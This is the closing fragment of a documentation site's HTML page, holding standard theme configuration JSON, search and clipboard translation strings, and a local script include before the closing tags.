<script id="__config" type="application/json">{"base": "..", "features": ["content.code.copy", "content.action.edit", "content.action.view", "content.tooltips", "navigation.tracking", "navigation.top", "search.share", "search.suggest"], "search": "../assets/javascripts/workers/search.6ce7567c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script>
|
|||
|
|
|||
|
|
|||
|
<script src="../assets/javascripts/bundle.83f73b43.min.js"></script>
|
|||
|
|
|||
|
|
|||
|
</body>
|
|||
|
</html>
|